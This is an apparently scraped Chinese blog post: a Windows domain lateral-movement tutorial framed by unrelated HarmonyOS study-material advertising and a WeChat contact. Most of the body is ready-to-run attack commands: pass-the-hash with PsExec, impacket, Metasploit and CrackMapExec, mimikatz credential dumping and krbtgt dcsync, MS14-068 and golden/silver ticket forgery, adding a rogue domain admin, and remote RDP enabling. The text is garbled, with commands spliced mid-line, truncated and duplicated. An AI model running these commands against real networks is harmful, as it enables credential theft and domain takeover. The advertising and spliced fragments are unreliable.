先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新HarmonyOS鸿蒙全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注鸿蒙)
正文
机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
2、条件
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议。且防火墙要关闭。
3、明文连接
4、hash连接
出现错误的情况可以使用impacket工具包下的psexec连接
privilege::debug``sekurlsa::logonpasswords``mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt``privilege::debug``sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
#命令
PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456cmd``PsExec.exe /accepteula /s \\192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"
#参数
-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框``-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显``-u 域\用户名``-p 密码
#命令
psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123
5、psexec注意事项
需要远程系统开启 admin$ 共享(默认是开启的)
因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会
产生大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是administrator 权限的 shell
在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,只能依靠账号和密码进行传递。
6、登陆域管理命令
impacket 下的 psexec
python3 psexec.py darkid/Administrator@192.168.0.142
执行命令后输入密码
登陆其他主机管理员
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd
三、msf的smb连接
1、使用
2、crackmapexec
CrackMapExec 可以对 C 段中的主机进行批量 pth,
项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令
四、WMI横向
1、概述
WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
2、条件
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 ./Administrator@192.168.0.123``use exploit/windows/smb/psexec``set SMBUser Administrator``set rhosts 192.168.0.141``set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4``run``crackmapexec smb 192.168.0.0/24 -u administrator -H 32ed87bdb5fdc5e9cba88547376818d4``对 192.168.9.0/24 C 段进行批量 pass the hash
3、wmi使用命令
通过wmi执行ipconfig命令
建立ipc连接,读取内容
4、wmiexec.py利用
在 impacket 工具包里有 wmiexec.py 脚本,执行 whoami 命令
【注】wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash aad3b435b51404eeaad3b435b51404ee 这个部分可以随便填写
wmiexec.py 明文获取 shell
5、powershell的wmi
Invoke-WmiCommand
Invoke-WMIMethod
6、wmic 的其他命令
使用 wmic 远程开启目标的 RDP
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"
net use \\192.168.0.123\ipc$ "123456" /user:administrator``type \\192.168.0.123\c$\ip.txt
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami
python3 wmiexec.py administrator:123456@192.168.0.123
Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。在 Powershell 中运行以下命令
# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
# 指定目标系统用户名
$User = “.\administrator”
# 指定目标系统的密码
$Password = ConvertTo-SecureString -String “123456” -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList U s e r , User, User,Password
# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.0.123
# 将执行结果输出到屏幕上
$Remote.PayloadOutput
Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
# 指定目标系统用户名
$User=“.\administrator”
# 指定目标系统密码
$Password=ConvertTo-SecureString -String “123456” -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList U s e r , User, User,Password
# 在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “192.168.0.123” -Credential $Cred
# 适于 Windows xp、server 2003
wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!=“”) CALL SetAllowT
判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。
远程重启
票据传递攻击(PTT)
一、域内常用的两种攻击方式:
1、黄金票据 Golden ticket
2、白银票据 Silver ticket
二、金票 Golden ticket
1、原理
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC
中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交
互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
2、特点
不需要与 AS 进行交互,需要用户 krbtgt 的 Hash
3、伪造凭据,提升域内普通用户的权限(MS14-068)
以一个本地 administrator 用户登录域内的一个主机中。
通过命令:net config workstation,获取域信息
通过命令:nltest /dsgetdc:域名,获取DC主机名
上传 mimikatz,以管理员权限运行 CMD,再去执行 mimikatz
利用 MS14-068 来提权,先检查下是否有 MS14-068, CVE 编号 CVE-2014-6324,补丁为 3011780 :systeminfo |find “3011780”,如果返回为空就
说明没有打补丁,存在漏洞,需要注意的是域内普通用户提权成功后是有时效性的。
上传 mimikatz 和 MS14-068 提权工具,whoami /user 或者 whoami/all 查看 test用户的 SID
使用 MS14-068 伪造票据
使用方法
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName=‘计算机名’ call SetAllowTSConnections 1
#或者
wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentContro
REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnectionswmic /node:192.168.0.141 /user:administrator /password:123456 process call create "shutdown.exe -r -f -t 0"mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”>log.txt
#执行命令:
ms14-068.exe -u test@moonhack.com -p 123456 -s S-1-5-21-3439616436-2844000184-3841763578-1105 -d 08server-ad.moonhack.com,ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证:mimikatz # kerberos::purge //清空票据mimikatz # kerberos::ptc 票据文件地址
再输入 dir \08server-ad.moonhack.com\c$,发现访问成功,现在我们有域管的权限
添加域管账号密码
4、伪造金票
条件
使用一下命令导出用户 krbtgt 的 hash:
利用 mimikatz 生成金票生成.kirbi 文件并保存
5、金票的使用
登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。
ipc连接访问
三、银票 Silver ticket
1、原理
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进
行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对
方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪
造的门票只对部分服务起作用。
2、特点
不需要与 KDC 进行交互
需要 server 的 NTLM hash
3、kekeo伪造银票
net user moonsec123 Qwe123… /add /domainnet group “Domain Admins” moonsec123 /add /domain
1、域名称
2、域的 SID 值
3、域的 KRBTGT 账号的 HASH
4、伪造任意用户名
mimikatz(commandline) # privilege::debugmimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv或 lsadump::lsa /injectmimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgtmimikatz.exe “privilege::debug” “lsadump::dcsync /domain:moonsec.fbi /all /csv” “exit”>loghash.txtmimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d576
/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令!
mimikatz # kerberos::purgemimikatz # kerberos::ptt C:\Users\test\ticket.kirbidir \08server1.moonhack.com\c$
四、金票和银票的区别
1、获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
2、认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
3、加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
#制作
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
票的区别
1、获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
2、认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
3、加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
#制作
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
[外链图片转存中…(img-ZVxP0Rvu-1713175517159)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!